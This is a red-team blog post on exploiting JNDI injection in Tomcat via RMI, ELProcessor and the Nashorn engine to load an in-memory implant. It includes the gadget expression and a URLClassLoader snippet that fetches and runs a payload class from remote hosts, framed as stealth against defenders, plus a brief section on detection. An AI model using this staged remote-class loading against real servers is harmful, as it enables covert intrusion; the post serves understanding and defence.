Introduction

I had a situation where I could do JNDI injection into a Tomcat server leading to RCE. While off the shelf solutions such as this Github repo could work and invoke system commands, I wanted to take advantage of this unique vulnerability and push harder to create a unique implant that could live in Tomcat’s memory for opsec, stealth purposes, and make the blue team work a little harder.

Background

Java Naming and Directory Interface (JNDI) is a Java API that provides naming and directory functionality to applications. It is defined to be independent of any specific directory service implementation. Thus a variety of directories–new, emerging, and already deployed–can be accessed in a common way.

JNDI provides many implementation possibilities over different protocols, such as LDAP, DNS, and RMI.

RMI, which means Remote Method Invocation, is a very interesting Java tech that I used to use as a developer. This technology enables Java classes to be serialised and data to be sent over the wire to remotely invoke methods on other Java Virtual Machines (JVMs). It’s extremely convenient when I needed to send Java code or object state over to different JVMs or to save and load files.

Using JNDI and RMI, one can ship Java classes to remote JVMs for execution. This allows an attacker to build an implant for a victim server like Tomcat and get the web server to execute it in memory, making it difficult for defenders to find it. Sounds exciting!

Details of JNDI + RMI exploitation

This is a commonly known exploit that’s been round the block for a while. The basic gist of the exploit is that an attacker can illicit a JNDI call to a vulnerable web server to cause it to fetch a Java class remotely and then execute it. Veracode has an excellent writeup on JNDI exploitation using RMI which I recommend reading for more details.

Before Java 8, an attacker could trigger remote class loading directly via an RMI call. Oracle fixed this issue in Java 8u191, preventing attackers from loading remote classes via RMI. However, one could still exploit this JNDI injection by reusing classes that are already present in the victim JVM. Hence, for servers running on Java 8u191, this exploit leverage on the existing J2EE class javax.el.ELProcessor that Tomcat installations would have.

The ELProcessor class is used as it allows arbitrary code to be executed via the eval function. This function accepts the Java Expression Language (allowing expressions such as this to be evaluated on the fly). A more interesting use case for my purposes, however, is it can also be used to construct Java objects. In my case, the most appropriate object to construct would be an instance of the Nashorn JavaScript engine that is inbuilt in all JVMs.

"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript");

If you were to Google for JNDI injections or exploits on the web, this would generally be the direction of the exploit. Create an instance of the JavaScript engine and then call Runtime.exec. An example of this would be this Github repo. It is an excellent framework including a working RMI server to execute JNDI injection, and allows the attacker to run any system command via Runtime.exec.

This, however, is not what I was interested in. Calling Runtime.exec is a surefire way in certain environments to light up alerts all across the board if you’re calling a sensitive command. Instead, since I already had a handle to the JavaScript engine, surely I could #tryharder and leverage on what I have to do something cooler and stealthier.

Introducing the Nashorn JavaScript Engine

The Nashorn JavaScript engine is shipped with every JVM since Java 8. This JavaScript engine allows developers to execute JavaScript within the JVM itself and to also manipulate and instantiate Java objects using JavaScript.

As an aside, I’m sure it has a wide variety of uses, but honestly I have never seen anyone use this in practice. But then, I’m not a pure Java developer, so… shrug

Java objects in JavaScript

Nashorn has the capability to create and manipulate Java objects via JavaScript. Here’s an example:

engine.eval("
    var URL = Java.type('java.net.URL');
    var url = new URL(serverUrl);
");

engine in this case refers to an instance of the JavaScript engine that was created in the previous code block. The first JavaScript-ish line in the eval argument declares a variable that refers to the URL class in Java. With a handle to this class, a developer can create objects of class URL.

Putting two and two together

At this point, I could inject using JNDI to create a bean, which would instantiate ELProcessor, which in turn would create a JavaScript engine.

From the Nashorn JavaScript documentation, I could also create JavaScript objects backed by Java objects. This means I could do 2 things:

  1. Create a JavaScript/Java Frankenstein implant and inject it into Tomcat.
  2. Write a Java implant, and use JavaScript to get Tomcat to remotely load and execute it.

Attempt 1 - JavaScript + Java

The Nashorn engine, although it can create Java objects, has several limitations and annoyances. For starters, it was a pain in the ass to write. The engine accepts a string of JavaScript code as an argument to calling engine.eval(). This meant that I had to express code in a string, which meant I needed to be careful when using single and double quotes and escape them as appropriate. I also had to be wary of syntax issues, as the IDE would not be able to help alert me to errors as it considered everything to be in a string. Simply put, it was annoying. At that point, I had not discovered the proper syntax for catching exceptions (my fault omg), so this made my implant extremely brittle.

As another aside, for future reference, catching exceptions in JavaScript + Java is actually extremely close to Java:

try
{
    // some stuff
}
catch (ex)
{
    var st = ex.getStackTrace();
    print(st);
}

The other annoying thing which was actually a limitation, was that it could not properly extend classes. While you could create threads by extending the run() method like so,

var Runnable = Java.type('java.lang.Runnable');
var Thread = Java.type('java.lang.Thread');
var MainLoop = Java.extend(Runnable, 
{
    run: function() 
    {
        obj.mainLoop();
    }
});

I had issues with using reflection and also in creating new functions in extended classes. So although I got the first version of my implant plus custom accompanying C2 up in two days, I wasn’t very happy with it.

Problems

While this approach worked, it was exceedingly difficult to develop and troubleshoot in this manner, as I was passing a single string over to the eval call. Futhermore, I did not like the manner of ingress.

As seen in the Wireshark capture below, the entire payload, is transmitted in the clear. To make matters worse, the payload was pure code, anyone analysing the pcap file would not even need to do any reverse engineering!

All this is because the RMI protocol unfortunately does not have an SSL version. During my research, I came across several articles covering RMI over SSL such as this, but I realised that the vulnerable server would also require to implement it. Thus I decided to look for another solution.

Attempt 2 - Create a remote class to be loaded in the victim JVM

I had fiddled with lots of Java development during my previous life as a developer, and one of the things I used to play with were custom class loaders. The ClassLoader in Java is responsible for loading classes into memory as required during runtime.

During runtime, if a call to load a class was received, the ClassLoader would try to load the class by its fully qualified name by searching in the classpath. If it could not be found, a ClassNotFoundException would be thrown.

Introducing URLClassLoader

The Java API implements a variety of different ClassLoader classes, each with their own characteristics. After searching through the API docs, I came across the URLClassLoader.

From the API description.

This class loader is used to load classes and resources from a search path of URLs referring to both JAR files and directories. Any URL that ends with a ‘/’ is assumed to refer to a directory. Otherwise, the URL is assumed to refer to a JAR file which will be opened as needed.

This class could potentially help me achive what I needed, which was to get my victim server to load a Java class remotely.

Using the ability to invoke Java objects via JavaScript, I used it to create a URLClassLoader and pointed it to sites where my payload Java class would be hosted at.

The way to instantiate it is something like the code snippet below…

for (var x=0; x < hosts.size(); x++)
{
    urls[x] = new URL(hosts.get(x) + 'payloads/');
}
var urlClassLoader = URLClassLoader.newInstance(urls);
var cl = urlClassLoader.loadClass('payloads.PotatoClass');

The code snippet, when executed, would cause the JVM to add the URLs defined in the array urls into the classpath. When instructed to load the class payloads.PotatoClass, it would access those URLs to locate the class in question. Once this class is loaded in cl, it is a simple matter to just instantiate it via cl.newInstance().

Conclusion?

Having the ability to inject a Java class into the victim server afforded me several benefits.

  1. Previously my implant was delivered via RMI, which is not encrypted. This would allow any network engineer to pull out my payload easily.

  2. I was truly using Real Java(tm) compared to the Nashorn JavaScript Engine, which did not really subclass Java objects.

  3. Development quality of life. Writing a real Java class allowed me to write more robust code than JavaScript.

  4. Probably most important for my purposes. This allowed my JavaScript snippet to be a minimal stage 1, and conduct live reloading of my true payload in case I needed to add new features or fix bugs. This was particularly important because the cost of exploitation was pretty high (ie noisy). I did not want to keep rerunning the exploit if I could help it.

Defensible?

In memory implants are like the holy mecca of implants. Difficult for incident responders to triage and antivirus to catch.

There are several possible solutions though. In my environment, what we did was to hook into the JVM to scan for unknown classes and also dynamically rewrite certain sensitive functions as NO-OPs. More in Part 2!